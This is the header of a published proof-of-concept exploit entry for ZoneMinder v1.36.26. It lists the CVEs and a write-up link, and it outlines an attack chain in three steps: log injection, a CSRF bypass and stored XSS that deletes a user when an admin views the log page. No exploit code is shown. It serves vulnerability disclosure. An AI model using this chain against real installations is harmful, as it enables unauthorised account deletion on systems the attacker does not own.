# Exploit Title: Zoneminder v1.36.26 - Log Injection -> CSRF Bypass -> Stored Cross-Site Scripting (XSS)
# Date: 10/01/2022
# Exploit Author: Trenches of IT
# Vendor Homepage: https://github.com/ZoneMinder/zoneminder
# Version: v1.36.26
# Tested on: Linux/Windows
# CVE: CVE-2022-39285, CVE-2022-39290, CVE-2022-39291 
# Writeup: https://www.trenchesofit.com/2022/09/30/zoneminder-web-app-testing/
#
# Proof of Concept:
# 1 - The PoC injects a XSS payload with the CSRF bypass into logs. (This action will repeat every second until manually stopped)
# 2 - Admin user logs navigates to http://<target>/zm/index.php?view=log
# 3 - XSS executes delete function on target UID (user).
